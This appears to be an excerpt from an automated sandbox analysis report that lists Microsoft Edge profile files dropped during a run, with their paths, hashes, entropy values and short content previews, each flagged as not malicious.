SHA-512:	358E9C3586DD8944B04A8A575D1AB4C2B7376B9F9E971C30758156607FD5508501E2606DABFF95E6AD836D7092D6E9B17DD330E3FAD32B5BB822F79AA26E06B2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375870226440232","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f18fa83c-84e3-496b-8eab-7e036928d73d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.1058720883166003
Encrypted:	false
SSDEEP:	12:Jntteqcntte7EpEjVl/PnnnnnnnnnnnnvoQtEoxu:Jnt5cntQgoPnnnnnnnnnnnnvHj
MD5:	88B8F5116904C64C9DBF48B5808DC800
SHA1:	B71E3D7EE2ABBDA44136F5206091ADDAF1C886DA
SHA-256:	D2C04647A48C5C489B48589C2FC7010043E2DEA1B2089DC4CB7739B74961E8E2
SHA-512:	ADA6000C7725BC54B5789547ADCAC18AB3F6295A01538F2730188F5A37BEF8B840CED32AF2032A5A6668DCFE923C68D27F9143620CB9907A1E7CFD9D17C6D624
Malicious:	false
Preview:	..-.............Q........iD6.9...4..}...J....`..-.............Q........iD6.9...4..}...J....`........M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9320233579174015
Encrypted:	false
SSDEEP:	384:G2GVPrxwqK2J8kAZ/NpDaujpkUKqF84nKnJ8ZyNy6ny/yBiyIxyAb:yydD
MD5:	DA624B54957E994B2095B7E5C2881A9C
SHA1:	D4FC7E90104231FD2EFDE8CCF4E24930A0CE2378
SHA-256:	42785EE47EAB3F66909C8CD63A555E6B630421B3C19235ABEDDE321EC739F10B
SHA-512:	3EB83A80AAF18C03412D5DA243D781BE5D974755D0707063209D6AEE76E8AE8F65AFD991DCABEDBF27E01812F0275890198AA8E88253D08DD2D50E4AF3F5F824
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.233510772321519
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuuuu2h8w:iD0
MD5:	1749ADC8472E8FBBFA9D1E326537D515
SHA1:	232E91A979DC3E5AD29EC9AB3ACD0A0DBC169EAE
SHA-256:	85812658FF1392ED85423A2A6C8A1146757ABD648F0901C456273EB84A84D735
SHA-512:	A5ACF83DEF2F84669651BC5342E9FEC9509606591B9E461D8D5AAAB5CD399F1DF05C39650FF25232B301EB3942B3AB33E971CF8AEE637225B18F8618A0E6A826
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=..................0................39_config..........6.....n ...1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.215509897414755
Encrypted:	false
SSDEEP:	6:HU4udjSQ+q2P923oH+TcwtfrK+IFUt8YU4udbgZmw+YU4udbQVkwO923oH+Tcwt5:oOv4Yeb23FUt8w/+45LYeb3J
MD5:	88636C0439E29313FE7C0161F004C68C
SHA1:	B37CFD673EBA6C436B2E8F19A7039CB7F1F5796B
SHA-256:	3115C83B6A1FF84D71E04A3AF985F059A97057CA925F3B356B66396FE5424081
SHA-512:	F213D9026801C1E31C3C7285C8FBEB36776ECD33E849417E8AD039F136AF1BE1FC83F1C4D666AF068E316A48AAC7313F1388636F50F9C0DF28376FEA4AA90C69
Malicious:	false
Preview:	2024/11/12-02:30:26.476 1d68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/12-02:30:26.477 1d68 Recovering log #3.2024/11/12-02:30:26.477 1d68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.215509897414755
Encrypted:	false
SSDEEP:	6:HU4udjSQ+q2P923oH+TcwtfrK+IFUt8YU4udbgZmw+YU4udbQVkwO923oH+Tcwt5:oOv4Yeb23FUt8w/+45LYeb3J
MD5:	88636C0439E29313FE7C0161F004C68C
SHA1:	B37CFD673EBA6C436B2E8F19A7039CB7F1F5796B
SHA-256:	3115C83B6A1FF84D71E04A3AF985F059A97057CA925F3B356B66396FE5424081
SHA-512:	F213D9026801C1E31C3C7285C8FBEB36776ECD33E849417E8AD039F136AF1BE1FC83F1C4D666AF068E316A48AAC7313F1388636F50F9C0DF28376FEA4AA90C69
Malicious:	false
Preview:	2024/11/12-02:30:26.476 1d68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/12-02:30:26.477 1d68 Recovering log #3.2024/11/12-02:30:26.477 1d68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.196365711177819
Encrypted:	false
SSDEEP:	6:HU4udkQQ+q2P923oH+TcwtfrzAdIFUt8YU4ud/0gZmw+YU4ud/0QVkwO923oH+TC:Gv4Yeb9FUt8j9/+jP5LYeb2J
MD5:	3F1599E3C9054D09A0BA513E3C8D9CFD
SHA1:	B2E942359C7FDEC5BD0A8B7DBCA66B3BFA2C2797
SHA-256:	E1AB34569D51BD15D1597972670D5CE36C12783C4F029FDC43BD65D2FDC09D4E
SHA-512:	567C69CCD851B317E8E39A9495EB8BBC50B109F5BA406F00DD625680A648F20F8373B33E2D35E57218D579C33EA2C2D6A4F76AE18367851DF9B30F6EEA375826
Malicious:	false
Preview:	2024/11/12-02:30:26.473 1d68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/12-02:30:26.474 1d68 Recovering log #3.2024/11/12-02:30:26.474 1d68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.196365711177819
Encrypted:	false
SSDEEP:	6:HU4udkQQ+q2P923oH+TcwtfrzAdIFUt8YU4ud/0gZmw+YU4ud/0QVkwO923oH+TC:Gv4Yeb9FUt8j9/+jP5LYeb2J
MD5:	3F1599E3C9054D09A0BA513E3C8D9CFD
SHA1:	B2E942359C7FDEC5BD0A8B7DBCA66B3BFA2C2797
SHA-256:	E1AB34569D51BD15D1597972670D5CE36C12783C4F029FDC43BD65D2FDC09D4E
SHA-512:	567C69CCD851B317E8E39A9495EB8BBC50B109F5BA406F00DD625680A648F20F8373B33E2D35E57218D579C33EA2C2D6A4F76AE18367851DF9B30F6EEA375826
Malicious:	false
Preview:	2024/11/12-02:30:26.473 1d68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/12-02:30:26.474 1d68 Recovering log #3.2024/11/12-02:30:26.474 1d68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090753192200871
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMqwuF9hDO6vP6O+gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEY6Ztbz8hu3VlXr4CRo1
MD5:	7A3CC17B77152D188FA1257BEE56A22C
SHA1:	388B815B12397C84892F501BE36B4F91B68D4DD3
SHA-256:	4CB809353E836B991245142346BD342F4BA40DC5EC535ECF5038F6F6EEE9D680
SHA-512:	ECD5F5A8646B25C27791E7716782416F2A02E80129F50BAD2E15B350D794CA6DB8FAD25615E8EC450134202E8E7549EF1B5E71B08B56D3B09422A352BD14078C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37783.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090753192200871
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMqwuF9hDO6vP6O+gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEY6Ztbz8hu3VlXr4CRo1
MD5:	7A3CC17B77152D188FA1257BEE56A22C
SHA1:	388B815B12397C84892F501BE36B4F91B68D4DD3
SHA-256:	4CB809353E836B991245142346BD342F4BA40DC5EC535ECF5038F6F6EEE9D680
SHA-512:	ECD5F5A8646B25C27791E7716782416F2A02E80129F50BAD2E15B350D794CA6DB8FAD25615E8EC450134202E8E7549EF1B5E71B08B56D3B09422A352BD14078C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF377b2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090753192200871
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMqwuF9hDO6vP6O+gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEY6Ztbz8hu3VlXr4CRo1
MD5:	7A3CC17B77152D188FA1257BEE56A22C
SHA1:	388B815B12397C84892F501BE36B4F91B68D4DD3
SHA-256:	4CB809353E836B991245142346BD342F4BA40DC5EC535ECF5038F6F6EEE9D680
SHA-512:	ECD5F5A8646B25C27791E7716782416F2A02E80129F50BAD2E15B350D794CA6DB8FAD25615E8EC450134202E8E7549EF1B5E71B08B56D3B09422A352BD14078C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37909.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090753192200871
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMqwuF9hDO6vP6O+gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEY6Ztbz8hu3VlXr4CRo1
MD5:	7A3CC17B77152D188FA1257BEE56A22C
SHA1:	388B815B12397C84892F501BE36B4F91B68D4DD3
SHA-256:	4CB809353E836B991245142346BD342F4BA40DC5EC535ECF5038F6F6EEE9D680
SHA-512:	ECD5F5A8646B25C27791E7716782416F2A02E80129F50BAD2E15B350D794CA6DB8FAD25615E8EC450134202E8E7549EF1B5E71B08B56D3B09422A352BD14078C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39fdb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090753192200871
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMqwuF9hDO6vP6O+gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEY6Ztbz8hu3VlXr4CRo1
MD5:	7A3CC17B77152D188FA1257BEE56A22C
SHA1:	388B815B12397C84892F501BE36B4F91B68D4DD3
SHA-256:	4CB809353E836B991245142346BD342F4BA40DC5EC535ECF5038F6F6EEE9D680
SHA-512:	ECD5F5A8646B25C27791E7716782416F2A02E80129F50BAD2E15B350D794CA6DB8FAD25615E8EC450134202E8E7549EF1B5E71B08B56D3B09422A352BD14078C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3cbae.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090753192200871
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMqwuF9hDO6vP6O+gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEY6Ztbz8hu3VlXr4CRo1
MD5:	7A3CC17B77152D188FA1257BEE56A22C
SHA1:	388B815B12397C84892F501BE36B4F91B68D4DD3
SHA-256:	4CB809353E836B991245142346BD342F4BA40DC5EC535ECF5038F6F6EEE9D680
SHA-512:	ECD5F5A8646B25C27791E7716782416F2A02E80129F50BAD2E15B350D794CA6DB8FAD25615E8EC450134202E8E7549EF1B5E71B08B56D3B09422A352BD14078C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF489dd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090753192200871
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMqwuF9hDO6vP6O+gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEY6Ztbz8hu3VlXr4CRo1
MD5:	7A3CC17B77152D188FA1257BEE56A22C
SHA1:	388B815B12397C84892F501BE36B4F91B68D4DD3
